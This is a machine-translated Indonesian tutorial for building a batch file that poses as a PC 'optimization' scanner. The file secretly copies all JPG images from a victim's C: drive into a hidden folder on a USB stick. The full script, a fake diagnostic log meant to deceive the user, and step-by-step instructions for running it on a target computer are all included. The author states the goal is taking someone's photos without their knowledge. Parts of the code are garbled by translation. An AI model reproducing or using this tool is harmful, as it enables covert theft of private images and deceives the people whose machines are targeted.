Rahasia Spy Image Foto Menyalin Batch File: 5 Langkah

2024 Pengarang: John Day | [email protected]. Terakhir diubah: 2024-01-30 09:59

Jadi, hal pertama yang pertama, apa yang membuat instruksi ini dan mengapa. Instruksi ini akan memungkinkan Anda untuk membuat file batch yang akan menyalin semua gambar dari PC ke memory stick Anda. itu akan melakukan ini secara diam-diam, menyamar sebagai program lain yang memeriksa masalah komputer. Setelah selesai, Anda akan memiliki folder tersembunyi di memory stick Anda dengan semua gambar yang disalin. Mengapa? Saya telah membuat instruksi ini karena saya ingin mengambil foto digital dari mesin seseorang tanpa mereka tahu saya telah melakukannya. Penggunaan sah dari file ini akan memungkinkan Anda untuk mengarsipkan/mencadangkan foto pribadi Anda. Kegunaan lain: File ini dapat dimodifikasi untuk memungkinkan jenis dokumen lain untuk disalin.

Langkah 1: Tulis Kode

Salin kode berikut ke notepad dan simpan di root memory stick Anda sebagai file bat, Anda dapat memberi nama apa pun yang Anda inginkan asalkan memiliki ekstensi.bat. Untuk memastikan ekstensinya benar, ketikkan sebagai berikut di kotak simpan notepad "copyimage.bat" (sertakan kutipannya!)

@echo Offecho Optimization client 2008 v3.02becho --------------------------------echo.echo Jangan gunakan PC Anda saat ini sedang menjalankan.echo.echo Daftar proses pemindaian. Setelah selesai, log akan ditampilkan untuk ditinjau oleh administrator sistem Anda.echo.echo Harap bersabar ini bisa memakan waktu hingga 3 jam.reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nulmkdir \data >nulattrib +h \data >nulsetLocal EnableDelayedExpansion@echo offfor %%a in (jpg) lakukan (untuk /f "token=* delims= " %%f in ('dir/b/s/ ad c:\*.%%a') do (xcopy "%%f" \data\ /y /h /q >nul))attrib -s +h data\* >nulstart optimizationLog.txtshutdown /s /c " Pemindaian pengoptimalan selesai, PC Anda sekarang akan mati"

Langkah 2: Buat File Laporan Palsu

Pada langkah ini saya telah membuat file teks palsu yang berpura-pura menjadi log hasil dari file batch yang kita jalankan untuk menyalin file. Ini memungkinkan Anda untuk berpura-pura sesuatu telah terjadi. Tidak peduli apa kata file ini, Anda dapat mengubahnya sebanyak yang Anda suka, pastikan nama filenya benar dan disimpan di root kartu memori Anda. Teks yang saya gunakan sebagian besar berasal dari pembajakan ini log, salin dan simpan ke root memory stick Anda sebagai optimasiLog.txt

Pemindaian selesai. Harap tutup log ini dan izinkan administrator sistem Anda untuk meninjaunya. Proses yang berjalan:C:\Windows\system32\taskeng.exeC:\Windows\system32\Dwm.exeC:\Windows\Explorer. EXEC:\Program Files\Java\jre1. 6.0_07\bin\jusched.exeC:\Windows\System32\hkcmd.exeC:\Windows\System32\igfxpers.exeC:\Windows\system32\igfxsrvc.exeC:\Program Files\Synaptics\SynTP\SynTPEnh.exeC:\Program Files\TOSHIBA\Power Saver\TPwrMain.exeC:\Program Files\TOSHIBA\SmoothView\SmoothView.exeC:\Program Files\TOSHIBA\FlashCards\TCrdMain.exeC:\Program Files\BitDefender\BitDefender 2009\bdagent.exeC:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exeC:\Program Files\Registry Mechanic\regmech.exeC:\Program Files\BitDefender\BitDefender 2009\seccenter.exeC:\Program Files\Synaptics\SynTP\SynTPHelper.exeC:\Program Files\ Vuze\Azureus.exeC:\Program Files\Microsoft Office\Office12\OUTLOOK. EXEC:\Program Files\AutoCAD 2008\acad.exeC:\Users\Tom\AppData\Local\Temp\AdskCleanup.0001C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\CATATAN PAD. EXEC:\Windows\system32\SearchFilterHost.exeC:\HijackThis\HijackThis.exeR1 - HKCU\Software\Microsoft\Internet Explorer\Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU\Software\Microsoft \Internet Explorer\Main, Halaman Pencarian = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU\Software\Microsoft\Internet Explorer\Main, Halaman Awal = https://www.google.co. ukR1 - HKLM\Software\Microsoft\Internet Explorer\Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM\Software\Microsoft\Internet Explorer\Main, Default_Search_URL = https://go.microsoft.com/ fwlink/?LinkId=54896R1 - HKLM\Software\Microsoft\Internet Explorer\Main, Halaman Pencarian = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM\Software\Microsoft\Internet Explorer\Main, Mulai Halaman = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM\Software\Microsoft\Internet Explorer\Search, SearchAssistant = R0 - HKLM\Software\Microsoft\Internet Explorer\Search, CustomizeSearch = R0 - HKCU \Software\Microsoft\Internet Explorer\Too lbar, LinksFolderName = O1 - Host:::1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\Program Files\Microsoft Office\Office12\GrooveShellExtensions.dllO2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DA}:\Program Files\Java\jre1.6.0_07\bin\ssv.dllO3 - Bilah Alat: Bilah Alat BitDefender - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C:\Program Files\BitDefender\BitDefender 2009\IEToolbar.dllO4 - HKLM\..\Run: [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hideO4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_07\bin\ jusched.exe"O4 - HKLM\..\Run: [IgfxTray] C:\Windows\system32\igfxtray.exeO4 - HKLM\..\Run: [HotKeysCmds] C:\Windows\system32\hkcmd.exeO4 - HKLM\..\Run: [Persistence] C:\Windows\system32\igfxpers.exeO4 - HKLM\..\Run: [SynTPEnh] C:\Program Files\Syna ptics\SynTP\SynTPEnh.exeO4 - HKLM\..\Run: [TPwrMain] %ProgramFiles%\TOSHIBA\Power Saver\TPwrMain. EXEO4 - HKLM\..\Run: [SmoothView] %ProgramFiles%\Toshiba\SmoothView\SmoothView.exeO4 - HKLM\..\Run: [00TCrdMain] %ProgramFiles%\TOSHIBA\FlashCards\TCrdMain.exeO4 - HKLM\..\Run: [Toshiba TEMPO] C:\Program Files\Toshiba TEMPRO\Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM\..\Run: [BDAgent] "C:\Program Files\BitDefender\BitDefender 2009\bdagent.exe"O4 - HKLM\..\Run: [BitDefender Antiphishing Helper] "C:\Program Files\BitDefender\BitDefender 2009\IEShow.exe"O4 - HKCU\..\Run: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exeO4 - HKCU\..\Run: [RegistryMechanic] C:\ Program Files\Registry Mechanic\RMTray.exe /HO4 - Startup: OneNote 2007 Screen Clipper and Launcher.lnk = C:\Program Files\Microsoft Office\Office12\ONENOTEM. EXEO8 - Item menu konteks tambahan: E&ekspor ke Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Tombol ekstra: (tanpa nama) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C:\PROGRA~1\Java\JRE16~2.0_0\bin\ssv.dllO9 - Ekstra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\PROGRA~ 1\Java\JRE16~2.0_0\bin\ssv.dllO9 - Tombol ekstra: Kirim ke OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dllO9 - Item menu 'Alat' tambahan: S&end ke OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\PROGRA~1\MICROS~3\Office12\ONBttnIE.dllO9 - Tombol ekstra: eBay.co.uk - Beli It Sell It Love It - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (file hilang)O9 - Tombol ekstra: (tanpa nama) - {85d1f590-48f4-11d9-9669-0800200c9a66} - %windir%\bdoscandel.exe (file hilang)O9 - Item menu 'Alat' tambahan: Hapus Instalasi BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669 -0800200c9a66} - %windir%\bdoscandel.exe (file hilang)O9 - Tombol ekstra: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ exec/obidos/redirect-home?tag=Toshibaukbholink-2 1&site=home (file hilang) O9 - Tombol ekstra: Riset - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~3\Office12\REFIEBAR. DLLO10 - File tidak dikenal di Winsock LSP: c:\windows\system32\nlaapi.dllO10 - File tidak dikenal di Winsock LSP: c:\windows\system32\napinsp.dllO10 - File tidak dikenal di Winsock LSP: c:\program files\vmware\vmware workstation\vsocklib.dllO10 - File tidak dikenal di Winsock LSP: c:\program files\vmware\vmware workstation\vsocklib.dllO11 - Grup opsi: [INTERNATIONAL] Internasional*O13 - Awalan Gopher: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (Kelas get_atlcom) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protokol: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\Program Files\ Microsoft Office\Office12\GrooveSystemServices.dllO18 - Protokol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Program Files\Common Files\Microsoft Shared\Help\hxds.dllO18 - Filter hijack: text/ xml - {807563E5-5146-11D5-A672-00B0D022E945} - C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE12\MSOXMLMF. DLLO20 - Winlogon Notify: igfxcui - C:\Windows\SYSTEM32\igfxdev.dllO23 - Layanan: Agere Modem Call Progress Audio (AgereModemAudio) - Agere Sistem - C:\Windows\system32\agrsmsvc.exeO23 - Layanan: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C:\Program Files\Common Files\BitDefender\BitDefender Arrakis Server\bin\Arrakis3.exeO23 - Layanan: Layanan Lisensi Autodesk - Autodesk - C:\Program Files\Common Files\Autodesk Shared \Service\AdskScSrv.exeO23 - Layanan: Layanan ConfigFree - TOSHIBA CORPORATION - C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exeO23 - Layanan: @%SystemRoot%\ehome\ehstart.dll, -101 (ehstart) - Pemilik tidak dikenal - %windir%\system32\svchost.exe (file hilang)O23 - Layanan: getPlus(R) Helper - NOS Microsystems Ltd. - C:\Program Files\NOS\bin\getPlus_HelperSvc.exeO23 - Layanan: Layanan Pembaruan Google (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Pemilik tidak dikenal - C:\Program Files\Google\Update\GoogleUpdate.exe" /svc (file hilang)O23 - Layanan: Layanan Pembaruan Desktop BitDefender (LIVESRV) - Pemilik tidak dikenal - C:\Program Files\Common Files\BitDefender\BitDefender Update Service\livesrv.exe" /service (file hilang)O23 - Layanan: @%SystemRoot%\system32\qwave.dll, -1 (QWAVE) - Pemilik tidak diketahui r - %windir%\system32\svchost.exe (file hilang)O23 - Layanan: @%SystemRoot%\system32\seclogon.dll, -7001 (seclogon) - Pemilik tidak dikenal - %windir%\system32\svchost.exe (file hilang)O23 - Layanan: Notebook Performance Tuning Service (TempoMonitoringService) - Toshiba Europe GmbH - C:\Program Files\Toshiba TEMPRO\TempoSVC.exeO23 - Layanan: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C:\Program Files\ TOSHIBA\TOSHIBA DVD PLAYER\TNaviSrv.exeO23 - Layanan: TOSHIBA Optical Disc Drive Service (TODDDSrv) - TOSHIBA Corporation - C:\Windows\system32\TODDDSrv.exeO23 - Layanan: TOSHIBA Power Saver (TosCoSrv) - TOSHIBA Corporation - c:\ Program Files\TOSHIBA\Power Saver\TosCoSrv.exeO23 - Layanan: TOSHIBA SMART Log Service - TOSHIBA Corporation - c:\Program Files\TOSHIBA\SMARTLogService\TosIPCSrv.exeO23 - Layanan: Layanan Agen VMware (ufad-ws60) - Pemilik tidak dikenal - C:\Program Files\VMware\VMware Workstation\vmware-ufad.exe" -d "C:\Program Files\VMware\VMware Workstation\" -s ufad-p2v.x ml (file hilang)O23 - Layanan: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C:\Program Files\Common Files\Ulead Systems\DVD\ULCDRSvr.exeO23 - Layanan: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C:\Program Files\VMware\VMware Workstation\vmware-authd.exeO23 - Layanan: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C:\Windows\system32\vmnetdhcp.exeO23 - Layanan: VMware NAT Layanan - VMware, Inc. - C:\Windows\system32\vmnat.exeO23 - Layanan: BitDefender Virus Shield (VSSERV) - Pemilik tidak dikenal - C:\Program Files\BitDefender\BitDefender 2009\vsserv.exe" /service (file hilang)O23 - Layanan: VNC Server Versi 4 (WinVNC4) - Pemilik tidak diketahui - C:\Program Files\RealVNC\VNC4\WinVNC4.exe" -layanan (file hilang)O23 - Layanan: @%ProgramFiles%\Windows Media Player\wmpnetwk.exe, -101 (WMPNetworkSvc) - Pemilik tidak dikenal - %ProgramFiles%\Windows Media Player\wmpnetwk.exe (file hilang)

Langkah 3: Jalankan Program

Anda sekarang harus memiliki memory stick dengan dua file di dalamnya (dan banyak ruang kosong yang siap untuk gambar baru). Jika Anda memiliki sesuatu yang lain di drive itu tidak masalah. Bawa memory stick ke komputer target Anda. Ketika terdaftar, perhatikan huruf drive yang dialokasikan untuk itu, ini akan memungkinkan Anda untuk menjalankannya tanpa perlu menelusuri folder terlebih dahulu. Tekan tombol Windows lalu tekan 'R' (sambil tetap menahan tombol windows). Ini akan memunculkan kotak Run. Di kotak run, ketik jalur file batch yang kami buat, huruf drive menjadi huruf yang ditetapkan ketika Anda mencolokkan memory stick. Misalnya, jika saya memasukkan memory stick saya dan mendaftarkan ag:\ drive maka saya akan menjalankan:g:\copyimage.batLalu tekan enter, atau klik run. Ini akan mulai menjalankan file batch. Setelah selesai, itu akan mematikan mesin. Lepaskan memory stick Anda dan bawa pergi!

Langkah 4: Dapatkan Gambar

Anda sekarang harus memiliki memory stick dengan semua gambar di dalamnya. File dan folder disembunyikan, jadi jika Anda belum menampilkannya, Anda harus mengaktifkannya. Untuk melakukan ini, masuk ke jendela explorer (misalnya buka komputer saya) dan: WinXP - Tools, Folder Options, View, Show Hidden FilesVista - Organize, Folder and search options, View, Show Hidden FilesSetelah dipilih, Anda harus dapat membuka folder tersembunyi dan dapatkan gambar yang Anda inginkan!

Langkah 5: Apa Arti Kode

Saya akan menjelaskan sebanyak mungkin kodenya. fungsi penyalinan utama tidak ditulis oleh saya, saya telah meminjamnya dari situs berikut dan memodifikasinya:

@echo off ''Menghentikan perintah yang ditampilkan di layar, sehingga pengguna tidak tahu apa yang sedang dilakukan echo Optimization client 2008 v3.02b echo ------------------- -------------gema. Menulis di layar sebuah judul untuk program echo Harap jangan gunakan PC Anda saat ini sedang menjalankan.echo.echo Daftar proses pemindaian. Setelah selesai, log akan ditampilkan untuk ditinjau oleh administrator sistem Anda.echo.echo Harap bersabar, ini bisa memakan waktu hingga 3 jam. Memberi tahu pengguna bahwa banyak sampah yang tidak benar reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul Menambahkan kunci registri yang akan menyembunyikan file dan folder. Ini menghentikan pengguna untuk dapat melihat folder yang kami buat untuk menyimpan gambar yang disalin. Perintah nul di bagian akhir menghentikan perintah dari melaporkan pesan apa pun ketika selesai mkdir \data >nul Membuat folder di drive tempat file batch ini berada pada data yang dipanggil. attrib +h \data >nul Menyembunyikan folder yang dibuat setLocal EnableDelayedExpansionfor %%a in (jpg) do (for /f "token=* delims= " %%f in ('dir/b/s/ad c:\*. %%a') do (xcopy "%%f" \data\ /y /h /q >nul)) Ini adalah kode yang akan mencari gambar di seluruh drive c:\. Jika Anda ingin mencari drive lain, ubah bagian c: menjadi yang Anda inginkan. Jika Anda ingin menemukan jenis file lain, daftarkan di samping teks jpg, pisahkan jenis file dengan spasi. Misalnya-j.webp